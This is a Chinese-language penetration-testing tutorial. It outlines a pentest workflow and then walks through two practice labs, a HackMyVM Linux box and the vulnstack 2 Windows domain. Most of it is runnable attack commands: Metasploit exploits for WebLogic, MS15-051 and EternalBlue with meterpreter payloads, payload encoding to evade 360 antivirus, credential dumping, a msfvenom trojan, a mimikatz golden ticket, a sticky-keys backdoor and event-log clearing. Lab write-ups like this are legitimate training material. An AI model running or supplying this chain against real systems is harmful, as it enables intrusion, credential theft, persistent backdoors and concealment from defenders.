一、渗透测试流程
渗透测试相关原则:
1. 最小影响原则
2. 非破坏性原则
3. 全面深入原则
4. 保密性原则
渗透测试基本流程:
渗透测试的基本流程主要分为以下几步:
1. 明确目标
2. 信息收集
3. 漏洞探测(挖掘)
4. 漏洞验证(利用)
5. 提升权限
6. 清除痕迹
7. 事后信息分析
8. 编写渗透测试报告
1.1 明确目标
主要是确定需要渗透资产范围; 确定规则,如怎么去渗透; 确定需求,如客户需要达到一个什么样的效果。
1.2 信息收集
信息收集阶段主要是收集一些基础信息,系统信息,应用信息,版本信息,服务信息,人员信息以及相关防护信息。
信息收集大多是工具加手工进行收集信息,工具如nmap,相关终端命令,浏览器插件,在线工具等。
1.3 漏洞探测(挖掘)
主要是探测(挖掘)系统漏洞,web服务器漏洞,web应用漏洞以及其他端口服务漏洞,如telnet,ssh,vnc,远程桌面连接服务(3389)等。
1.4 漏洞验证(利用)
漏洞验证主要是利用探测到的漏洞进行攻击,方法主要有自动化验证(msf),手工验证,业务漏洞验证,公开资源的验证等。
总的来说就是工具加手工,为了方便,可以将自己渗透常使用的工具进行封装为工具包。
1.5 提升权限
提升权限主要是在当前用户权限不是管理员的时候需要进行提升权限,提升权限可以是提升系统权限,web应用权限或是数据库权限等。
1.6 清除痕迹
清楚痕迹主要是清除渗透过程中操作的一些痕迹,如添加的测试账号,上传的测试文件等。
1.7 事后信息分析
主要是对整个渗透过程进行信息分析与整理,分析脆弱环节,技术防护情况以及管理方面的情况进行一个现状分析以及提出相关建议。
1.8 编写渗透测试报告
根据渗透测试具体情况编写渗透测试报告,渗透测试报告必须简洁明了,说清楚渗透清单(范围),攻击路径,渗透成果,以及详细的漏洞详情(相关描述、漏洞危害等)及可行的修复建议,最后对整改渗透情况进行简单的总结和分析,说清楚目前资产的一个状况是什么样的,应该从哪些方面进行加强和提升。另外根据渗透测试报告可让第三方相对容易复现成功!
二、Web站点渗透测试流程
这个靶场是一个对渗透新手很友好的靶场。而且,该靶场包含了渗透测试的信息收集,漏洞利用和权限提升的全过程,对新手理解渗透测试的流程有很好的帮助。
靶场地址:HackMyVM
靶场基本情况:
KALI靶机:192.168.1.3/24
主机:192.168.1.146/24
目标:普通用户flag和管理员flag
① 信息收集阶段:
nmap -sn 192.168.1.0/2
sudo nmap -v -T4 -p- -A -oN nmap.log 192.168.1.146
nmap -A 192.168.1.146
这里我们看到开启了21端口,22端口和80端口:
② 漏洞利用阶段:
我们连接下21端口:
用户名和密码都是ftp,然后查看当前目录文件,可见密钥文件和users.txt文件。
其实用户名是ftp,密码是什么,都可以登录!
这里采用mget,将所有文件下载到本地!这里采用mget可以一次性下载多个文件!
id_rsa文件:私钥是个兔子!
公钥文件,看着挺正常!
接下来,查看下id_rsa.pem文件!这个像是私钥文件!
然后,查看用户名文件!最后那个感谢的像是真正的用户名!
可以这里我们试着用着这个私钥文件通过SSH登录下hmv这个文件!
嘿嘿嘿,不行!
这条路暂时不同,接着咱们看下那个开放的80端口,直接访问下看看!!!
查看源代码,发现了端倪!
上面是个文件,下面是个目录!?先下载下来看看
wget http://192.168.1.146/h4ckb1tu5.enc
这个页面作为一个整体告诉我们可以通过这个key值获取一个目录。而且,我们也可以从logo图片获取一些信息通过图片隐写术。回到这个key值,我们可以通过RSA私钥和OpenSSL rsautl解码信息。通过解码信息获取一个文件。
接下来,我们用私钥文件和下载下来不知道啥玩意的文件生成目录!
访问下看看!192.168.1.146/,方向没错!!!
查看源代码?啥也没有?
网站的目录扫描有要点,一层一层的扫描!!!
来个超级字典!
https://github.com/danielmiessler/SecLists/releases/tag/2022.1
扫一波目录:
gobuster dir -w /root/Web-Content/common.txt -u http://192.168.1.146/softyhackb4el7dshelldredd/
然后,把这个私钥下载下来:
wget http://192.168.1.146/softyhackb4el7dshelldredd/id_rsa
这次登录试下!两个问题:
too open需要将私钥的权限改为600
这个id_rsa需要密码
接下来,需要搞定这个rsa的密码!!!!
我们先把这个logo图片下下来!!!
wget http://192.168.1.146/logo.jpg
这里我们需要安装一个图片隐写工具:
Release Stegseek v0.6 · RickdeJager/stegseek · GitHub
下载完:安装下:
dpkg -i stegseek_0.6-1.deb
安装过程中可能缺少部分组件:
apt --fix-broken install
安装完毕:采用先前的user.txt,对logo图片进行解密!
stegseek logo.jpg users.txt -xf output
这就是私钥的密码了!
d4t4s3c#1
ssh -i id_rsa hmv@192.168.1.146
终于进来了!!!!
③ 权限提升阶段:
接下来,root权限提升:
在这台VM上root的权限提升很容易。这个/etc/shadow文件对任何人可写。因为我们可以通过修改这个文件来获取root的密码。
以下链接介绍了/etc/shadow文件的组成:
Understanding /etc/shadow file format on Linux – nixCraft (cyberciti.biz)
因为我们不需要读/etc/shadow这个文件,我们只需要复写它。
因此,我们把密码修改为root,如下:
1 生成密码root的加密值
openssl passwd # enter new password “root”
2 将root的加密值导入到/etc/shadow的root用户格式中
echo root:qdbEWfKM1ov2g:18844:0:99999:7::: > /etc/shadow
3 切换为root,输入密码root
su -l
完事了,这个难度是easy,其实也不简单。
三、内网渗透测试流程
红队实战,本次实战的靶场是红日安全vulnstack系列的第二个靶场。
主要以真实企业环境为实例搭建一系列靶场,本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。
1、环境说明
网络拓扑:
配置信息:
1. 网络环境
内网网段:10.10.10.0/24
DMZ网段:192.168.111.0/24
测试机地址:192.168.111.1(Windows),192.168.111.11(Linux)
防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):
deny all tcp ports:10.10.10.1allow all tcp ports:10.10.10.0/24
2 网卡配置
只需要在VM上选择对应网卡即可,不需要在靶机中进行配置。
3 DC
IP:10.10.10.10 (VMnet5)OS:Windows 2012(x64)应用:AD域
4 WEB
IP1:192.168.111.80 (VMnet6)IP2:10.10.10.80 (VMnet5) OS:Windows 2008(x64)应用:Weblogic 10.3.6 MSSQL 2008
5 PC
IP1:192.168.111.201 (VMnet6) IP2:10.10.10.201 (VMnet5) OS:Windows 7(x86)
6 攻击机
IP:192.168.111.1OS:Windows 10(64)IP:192.168.111.11OS:Parrot(64)
开启靶场
进入C:\Oracle\Middleware\user_projects\domains\base_domain
目录下,双击startWebLogic开启服务。
2、外网渗透
我们已知当前Web服务器的公网IP为192.168.111.80,对Web服务器进行端口扫描,以期发现是否有可以利用的端口服务,从而突破边界。
1 端口扫描
nmap -sV -Pn -T4 192.168.111.80
2 漏洞探测
通过端口扫描我们发现Web服务器开启了80、7001等端口,其他端口如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接进入Web服务器。这里我们先访问Web服务,发现80端口页面是空白的,在7001端口我们发现Web服务器开启了Weblogic,尝试使用WeblogicScan脚本探测漏洞:
python3 WeblogicScan.py -u 192.168.111.80 -p 7001
3 漏洞利用
通过脚本探测发现存在CVE-2019-2725,我们可以使用网上的exp,这里我们使用msf自带的漏洞利用模块:
use exploit/multi/misc/weblogic_deserialize_asyncresponseserviceset target Windowsset payload windows/x64/meterpreter/reverse_tcpset rhosts 192.168.111.80set lhost 192.168.111.128run
这里还需要在advanced选项中对payload进行简单的编码:
setg EnableStageEncoding truesetg StageEncoder x64/zutto_dekiru
成功返回meterpreter。
这里我们做编码的目的是为了绕过360,网上也有一些其它免杀的方式,大家可以自行学习,这里使用的msf的自免杀,使用x64/zutto_dekiru编码绕过。
4 权限提升
在我们成功返回shell后,发现我们当前是普通用户权限,如果要完全控制这台机器,需要进一步提权。
切换目录到C:\Users\de1ay下,使用meterpreter上传Sherlock脚本:
cd C:/Users/de1ayupload Sherlock.ps1
进入shell模式,使用Sherlock脚本探测可用于本地提权的漏洞:
powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"
这里我们通过Sherlock脚本发现存在MS15-051相关漏洞,使用msf自带的利用模块提权:
use exploit/windows/local/ms15_051_client_copy_imageset payload windows/x64/meterpreter/reverse_tcpset session 1set target Windows x64set lhost 192.168.111.128run
提权成功:
至此,我们已经成功拿下了边界服务器的控制权,可以进一步深入内网了。
3、内网渗透
在进入内网后,我们要明确自己的目标,由于该靶场没有flag需要获取,所以我们的目标就是拿下整个域的控制权,明确了目标后,我们就可以针对目标进行信息收集了。
1 信息收集
systeminfo
ipconfig /all
通过查询主机信息和网络信息,我们发现该服务器主机名为WEB,处于域环境,并且有两张网卡,其内网网段为10.10.10.0/24,主DNS服务器IP为10.10.10.10,在域环境中,域控制器往往同时作为DNS服务器,由此判断,我们要找的域控制器IP很可能就是10.10.10.10。
net usernet user /domainnet time /domain
通过查询用户信息,我们获取了域成员信息,并可基本做出判断域控制器的主机名为DC。
ping DC
通过对DC使用ping命令,我们发现其IP为10.10.10.10,由此我们最终做出判断该域环境中的域控制器主机名为DC,内网ip地址为:10.10.10.10,并且我们目前控制的这台Web服务器可以访问域控制器。
net group "Domain Admins" /domain
net group "domain computers" /domain
ping PC
这里我们通过ping PC发现PC机的ip为10.10.10.201,但是没有返回数据,说明此处防火墙禁止了ICMP协议,在后面对PC机进行内网渗透时可以考虑其它协议。
至此,我们已经初步完成了内网信息收集:
该靶场为域环境:de1ay.com该靶场存在三台主机:DC、PC、WEB该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24该靶场的域管理员为:Administrator
2 设置代理
在对内网进行了初步的信息收集后,我们要开始攻击内网主机了,但是内网中的机器和我们的攻击机并不处于同一网络当中,所以要通过Web服务器建立代理,这里有很多内网穿透工具可以使用,如ew、frp、chisel等,我这里直接使用msf建立路由,并开启socks代理。
建立路由:route add 10.10.10.0 255.255.255.0 1
开启socks代理:use auxiliary/server/socks_proxyset srvhost 127.0.0.1set srvport 9050set version 4arun
配置代理工具proxychains4:vim /etc/proxychains4.conf
这样,我们就可以使用msf以及设置了代理的其它工具攻击内网中的主机了。
在信息收集时,我们使用了ping命令简单探测了一下内网连通性,发现PC机无法ping通,这可能是防火墙阻止了ICMP协议,这里我们通过代理使用nc命令探测,发现可以连通,说明防火墙并没有阻止TCP协议的流量。
proxychains4 nc -zv 10.10.10.80 135proxychains4 nc -zv 10.10.10.201 135
发现防火墙并没有拦截TCP流量后,我们就可以使用TCP协议进行数据传输了。
3 横向移动
先扫一下端口。
发现两台机器都开起了445端口,探测以下是否存在永恒之蓝漏洞:
use auxiliary/scanner/smb/smb_ms17_010set rhosts 10.10.10.10run
发现两台主机都存在该漏洞,尝试使用msf内置的漏洞利用模块:
use exploit/windows/smb/ms17_010_psexecset rhosts 10.10.10.10set payload windows/x64/meterpreter/bind_tcpset lport 443run
控制器执行成功,域内成员机PC执行失败:
至此,我们已成功获得域控制器权限。
域内成员机PC我们没有通过永恒之蓝漏洞拿下来,这里采用其它方法,首先我们在之前的Web服务器上加载kiwi,提取服务器上储存的密码:
sessions 2load kiwicreds_all
我们成功提取到了两个账号的明文密码,但是这里没有域管理员的账号密码。
这里我们使用smart_hashdump模块提取域控中的哈希:
use post/windows/gather/smart_hashdumpset session 3run
成功提取到了域内成员的hash值,并且我们发现域管理员的hash和其它域成员的hash相同,这说明域管理员使用了和域成员相同的密码(该靶场存在密码复用,如果密码不相同,我们可以通过哈希传递进行横向移动),这样我们可以就获得了域管理员的账号密码。
我们先使用msf生成一个木马:
msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs
然后,将该木马上传到已经被我们控制的web服务器上:
upload /tmp/msf.vbs
进入shell,与PC主机建立IPC$连接:
net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com
将上传的木马复制到PC机C盘目录下:
copy msf.vbs \\10.10.10.201\c$
通过端口扫描我们发现PC开启了3389端口:
在msf上开启监听:
use exploit/multi/handlerset payload windows/meterpreter/bind_tcpset stageencoder x86/shikata_ga_naiset rhosts 10.10.10.201set lport 443run
连接PC机的远程桌面,使用域管理员账号登录PC,上线msf:
proxychains4 rdesktop 10.10.10.201:3389
到此,我们已经控制了域内全部主机。
4 权限维持
在获取了域内全部主机权限后,我们进一步来做权限维持,权限维持的方法很多,这里我们演示两种方式,使用黄金票据来实现域控制器的权限维持,使用粘滞键后门实现PC机的权限维持。
域控制器权限维持
在之前的信息收集过程中,我们已经成功获取到了krbtgt的hash值:
因为PC机的session没有进行提权,并且是域成员账号,可以帮助我们获取域的SID,所以我们切换到PC机的session,获取域SID:
whoami /user
上传mimikatz到PC机,进入PC的shell模式,发现当前用户为普通域成员,无法访问域控制器目录。
使用mimikatz生成黄金票据并注入内存:
mimikatz# kerberos::purgemimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribimimikatz# kerberos::ptt administrator.kiribi
成功注入内存,我们尝试访问域控制器C盘:
dir \\DC\C$
发现在将票据注入内存后,可以成功访问域控制器目录,说明黄金票据有效。还有其它域控制器权限维持的方式,这里不进行具体演示了。
5 粘滞键后门
在PC机上使用粘滞键后门前,需要先进行提权。这里同样上传Sherlock脚本进行探测利用:
提权成功。
使用msf中的后渗透模块添加粘滞键后门:
use post/windows/manage/sticky_keysset session 8run
6 痕迹清除
删除之前上传的mimikatz和Sherlock脚本。
run event_manager -c
总结
关于免杀,我使用的全部是msf的编码自免杀,64位使用的是x64/zutto_dekiru,32位使用的是x86/shikata_ga_nai,360都没有拦截。虽然靶机中有360,但是我直接上传的mimikatz也没有被杀,所以我有些怀疑是360的版本比较低,除了web服务器上传的第一个payload,其它都进行了编码处理,而第一个也确实没有执行成功,这说明360至少对第一个payload是拦截了的。
本次靶场练习到这里就全部结束了,在权限维持和免杀等方面仍然有很多需要学习的地方,这个靶场总体上比较简单,在横向移动和权限维持等方面还有很多方法可以尝试,由于本人深度沉迷msf,所以这篇文章中的整个渗透过程都是基于msf进行的,大家也可以多多尝试其它工具和方法,比如CS、Empire等等。